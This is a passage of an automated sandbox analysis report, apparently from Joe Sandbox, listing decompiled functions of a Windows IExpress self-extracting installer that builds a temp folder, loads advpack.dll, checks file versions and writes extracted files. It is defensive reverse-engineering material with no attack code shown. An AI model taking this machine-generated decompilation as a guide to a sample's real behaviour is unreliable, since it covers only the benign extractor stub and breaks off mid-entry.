0x00f83868
0x00000000
0x00f838f4
0x00f838f4
0x00f838f5
0x00f838fb
0x00f83901
0x00f83901
0x00000000
0x00f8390a
0x00f8374b
0x00f8374e
0x00f8375c
0x00f83764
0x00f83769
0x00f8376e
0x00f83771
0x00f8379c
0x00f8379f
0x00000000
0x00000000
0x00f837a3
0x00f837a4
0x00000000
0x00f837a4
0x00f83773
0x00f83777
0x00f83778
0x00f8377f
0x00f83781
0x00f8378e
0x00f8378e
0x00f83794
0x00000000
0x00f83794
0x00f83783
0x00000000
0x00000000
0x00f83785
0x00f8378c
0x00000000
0x00000000
0x00000000
0x00f8378c
0x00f83750
0x00000000
0x00f8372d
0x00f8372d
0x00f8396b
0x00f8396b
0x00f8396c
0x00f8396e
0x00f8396f
0x00f83a1e
0x00f83a1e
0x00f83a22
0x00f83a27
0x00f83a3e
0x00f83a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00F83723
MessageBeep.USER32(00000000), ref: 00F839C3
MessageBoxA.USER32(00000000,00000000,lenta,00000030), ref: 00F839F1

Strings

lenta, xrefs: 00F839E9, 00F83A19
3, xrefs: 00F83785

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$lenta
API String ID: 2519184315-4216304122
Opcode ID: bc4ea0b4fdbae60a60ef70d81da975e87d2377fba5bf0ec79ae39892cb604d23
Instruction ID: a84a42f266a296e942f95631901a245c3bf68cd370f64b860fa3b22ee86448d4
Opcode Fuzzy Hash: bc4ea0b4fdbae60a60ef70d81da975e87d2377fba5bf0ec79ae39892cb604d23
Instruction Fuzzy Hash: 8991E472F052249BDB38AA14CC817FA77A1EB45B14F1500A9D88997261DB788F81FB41

Uniqueness

Uniqueness Score: -1.00%

Function 00F86495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00F86495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0xf88004; // 0x644c7055
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E00F81781( &_v268, 0x104, __ecx, "C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
				_t26 = "advpack.dll";
				E00F8658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E00F86CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x00f86495
0x00f86495
0x00f864a0
0x00f864a7
0x00f864ab
0x00f864bd
0x00f864c2
0x00f864d3
0x00f864df
0x00f864e8
0x00f86502
0x00f864ee
0x00f864f9
0x00f864f9
0x00f86516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00F864DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00F864F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00F86502

Strings

advpack.dll, xrefs: 00F864C2, 00F864CD, 00F86501
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F864AC

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$advpack.dll
API String ID: 438848745-3761280616
Opcode ID: 25f828de1793c4fe06fdd23dd05d91fd67ad02a61b0d95d9e8ad72aad51b85ed
Instruction ID: 422cb36fd2efdf1091799ef5b672aea7aa096302c1fd9b6d11b27a741f173b45
Opcode Fuzzy Hash: 25f828de1793c4fe06fdd23dd05d91fd67ad02a61b0d95d9e8ad72aad51b85ed
Instruction Fuzzy Hash: 5E01D130A04108ABEB10FB64DC49AFE7778EB50310F50029AF585D61C0DFB4AE8AAB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F828E8 Relevance: 7.6, APIs: 5, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F828E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E00F82773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E00F82A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E00F82A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x00f828f1
0x00f828f4
0x00f828f7
0x00f828f9
0x00f828fc
0x00f828ff
0x00f82901
0x00f82907
0x00f82a62
0x00f82a64
0x00f8290d
0x00f8290d
0x00f8290f
0x00f82912
0x00f82920
0x00f82937
0x00000000
0x00000000
0x00f82944
0x00f8294a
0x00f8294f
0x00f82a2f
0x00f82a32
0x00f82a34
0x00f82a37
0x00f82a41
0x00000000
0x00000000
0x00f82955
0x00f8295e
0x00f82962
0x00f82969
0x00f8296f
0x00f82974
0x00f8298c
0x00f82a20
0x00f82a21
0x00f82a27
0x00f82a4c
0x00f82a4f
0x00f82a50
0x00f82a53
0x00f82a56
0x00f82a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00f829b2
0x00f829b2
0x00f829b5
0x00f829bd
0x00f829c3
0x00f829cc
0x00f829d5
0x00f829d7
0x00f829da
0x00f829dd
0x00f829df
0x00f829ec
0x00f829f8
0x00f829fc
0x00f829ff
0x00f82a02
0x00f82a07
0x00f82a0a
0x00f82a0f
0x00f82a19
0x00f82a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00f82a0f
0x00f8298c
0x00f82974
0x00f82962
0x00000000
0x00f8294f
0x00f82912
0x00f82a65
0x00f82a68
0x00f82a6c
0x00f82a6f
0x00f82a6f
0x00f82a7d

APIs

GlobalFree.KERNEL32 ref: 00F82A6F

Part of subcall function 00F82773: CharUpperA.USER32(644C7055,00000000,00000000,00000000), ref: 00F827A8
Part of subcall function 00F82773: CharNextA.USER32(0000054D), ref: 00F827B5
Part of subcall function 00F82773: CharNextA.USER32(00000000), ref: 00F827BC
Part of subcall function 00F82773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82829
Part of subcall function 00F82773: RegQueryValueExA.ADVAPI32(?,00F81140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82852
Part of subcall function 00F82773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F82870
Part of subcall function 00F82773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F828A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00F83938,?,?,?,?,-00000005), ref: 00F82958
GlobalLock.KERNEL32 ref: 00F82969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,00F83938,?,?,?,?,-00000005,?), ref: 00F82A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 00F82A81

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: f2d24d31c5c12a47ea6015d1efa44e206089a8454ff481bc2c70d49a05e9aca9
Instruction ID: 7199bdf0d8b76b11d604cbb09567959cc1db4374a21e72e45db5e0f3d68654ca
Opcode Fuzzy Hash: f2d24d31c5c12a47ea6015d1efa44e206089a8454ff481bc2c70d49a05e9aca9
Instruction Fuzzy Hash: 83511731E00219DBDB65EF98C884AEEFBB5FF48710F14416AE905E3211DB39A941EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F84169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00F84169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E00F8468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E00F8468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E00F844B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E00F844B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x00f8417d
0x00f8418f
0x00f84193
0x00f841b7
0x00f841d3
0x00f841e6
0x00000000
0x00f841e7
0x00f841d5
0x00f841d6
0x00f841d8
0x00f841d9
0x00f841da
0x00f841df
0x00f841e1
0x00000000
0x00f841e1
0x00f841b9
0x00f841ba
0x00f841bc
0x00f841bd
0x00f841be
0x00000000
0x00f841be
0x00000000

APIs

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,00F830B4), ref: 00F84189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,00F830B4), ref: 00F841E7

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F84554

Strings

<None>, xrefs: 00F841C5
FINISHMSG, xrefs: 00F84173, 00F841AB

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: cd98b4a69be770c8d456550efe61bde9fd973d8ad93b4ca6142e9bfc4de7cfd6
Instruction ID: 7c3926e369d0412d9f3d01b02b4c6005726a317d1cbe4c0f99adba1cf497fadb
Opcode Fuzzy Hash: cd98b4a69be770c8d456550efe61bde9fd973d8ad93b4ca6142e9bfc4de7cfd6
Instruction Fuzzy Hash: 5501F4B270061A7BF72576654C8AFFB718EEBD47A5F104126B705E1180DA6CEC017375

Uniqueness

Uniqueness Score: -1.00%

Function 00F819E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F819E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0xf88004; // 0x644c7055
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E00F843D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0xf89a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E00F86CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x00f819e0
0x00f819e0
0x00f819eb
0x00f819f2
0x00f819f9
0x00f819fc
0x00f81a01
0x00f81a2a
0x00f81a2e
0x00f81a3e
0x00f81a4f
0x00f81a62
0x00f81a6a
0x00000000
0x00f81a03
0x00f81a06
0x00f81a20
0x00f81a20
0x00f81a08
0x00f81a08
0x00f81a14
0x00000000
0x00f81a16
0x00f81a18
0x00f81a70
0x00f81a72
0x00f81a72
0x00f81a14
0x00f81a06
0x00f81a81

APIs

EndDialog.USER32(?,?), ref: 00F81A18
GetDesktopWindow.USER32 ref: 00F81A24
LoadStringA.USER32(?,?,00000200), ref: 00F81A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00F81A62
MessageBeep.USER32(000000FF), ref: 00F81A6A

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 28ecd766ccc60a13b16ff024420d6c87e00a968074fad86b109138b0773a7442
Instruction ID: 728c2fc31c5987c2fc8373e8d54faa30cb4d805b32f67f0ffb9b1a6be94f2d0a
Opcode Fuzzy Hash: 28ecd766ccc60a13b16ff024420d6c87e00a968074fad86b109138b0773a7442
Instruction Fuzzy Hash: DC11CE3150010DABDB04EF64DD48AFE77B8FB09310F108255F92292190DA349E02FB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F87155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F87155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0xf88004; // 0x644c7055
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0xf88004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0xf88004 = _t39;
				}
				_t37 =  !_t36;
				 *0xf88008 = _t37;
				return _t37;
			}

0x00f8715d
0x00f87161
0x00f87165
0x00f87178
0x00f87182
0x00f8718e
0x00f87197
0x00f871a0
0x00f871b1
0x00f871b8
0x00f871c4
0x00f871c7
0x00f871cb
0x00f871d5
0x00f871da
0x00f871da
0x00f871dc
0x00f871dc
0x00f871e2
0x00f871e5
0x00f871ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00F87182
GetCurrentProcessId.KERNEL32 ref: 00F87191
GetCurrentThreadId.KERNEL32 ref: 00F8719A
GetTickCount.KERNEL32 ref: 00F871A3
QueryPerformanceCounter.KERNEL32(?), ref: 00F871B8

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: acedf29784ceade29a62bef7c18de84e2761f7964f082cdaf570d099ff5a88a7
Instruction ID: 119c50f11e19e2f3e0b8d2d475fa5528bcfd264ee14c0bd485c31444b651d7d8
Opcode Fuzzy Hash: acedf29784ceade29a62bef7c18de84e2761f7964f082cdaf570d099ff5a88a7
Instruction Fuzzy Hash: 23112871D0560C9BCF10EBB8DA48AEEBBF4EB08350FA14856D801E7214EA309A05AF41

Uniqueness

Uniqueness Score: -1.00%

Function 00F863C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00F863C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0xf88004; // 0x644c7055
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E00F81781( &_v268, 0x104, __ecx, "C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
				E00F8658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0xf89124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0xf89124 = 0x80070052;
					_t37 = 0;
				}
				return E00F86CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x00f863cb
0x00f863d2
0x00f863d8
0x00f863ea
0x00f863f3
0x00f86401
0x00f86402
0x00f86410
0x00f86415
0x00f86433
0x00f86438
0x00f86449
0x00f86463
0x00f8646d
0x00f86477
0x00f86477
0x00f8647a
0x00f8643a
0x00f8643a
0x00f86444
0x00f86444
0x00f86492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 00F8642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 00F8645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 00F8647A

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F863EB

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 1065093856-1116576409
Opcode ID: bd3857ede2055ec53e4dee66846e64de45238bfce8f0ed741169ff3e596c9ba7
Instruction ID: 14746c62804371590d1fadec75ad96ce43b6c250d46e65103746dc1d49c9ecbb
Opcode Fuzzy Hash: bd3857ede2055ec53e4dee66846e64de45238bfce8f0ed741169ff3e596c9ba7
Instruction Fuzzy Hash: 1921C071A0021CABDB10EF65DCC5FEF77A8EB45314F0041A9B585A7280DAB45D85AFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F847E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F847E0(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E00F81680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0xf891e0; // 0x798408
						 *(_t34 + 4) = _t11;
						 *0xf891e0 = _t34;
						return 1;
					}
					_t25 =  *0xf88584; // 0x0
					E00F844B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0xf88584; // 0x0
				E00F844B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x00f847e8
0x00f847f0
0x00f847f4
0x00f8480f
0x00f84811
0x00f84814
0x00f84814
0x00f84816
0x00f84817
0x00f84829
0x00f8482b
0x00f8482f
0x00f8484f
0x00f84852
0x00f84855
0x00f84855
0x00f84857
0x00f84858
0x00f84860
0x00f84865
0x00f8486a
0x00f8486f
0x00000000
0x00f84876
0x00f84831
0x00f84841
0x00f84847
0x00f8480b
0x00000000
0x00f8480b
0x00f847f6
0x00f84806
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00F84E6F), ref: 00F847EA
LocalAlloc.KERNEL32(00000040,?), ref: 00F84823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00F84847

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F84554

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F84851

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 359063898-1116576409
Opcode ID: c190e038688333596cac6fbab27dacc48fc0c49509f4fcdaf9f0375e561d1ef5
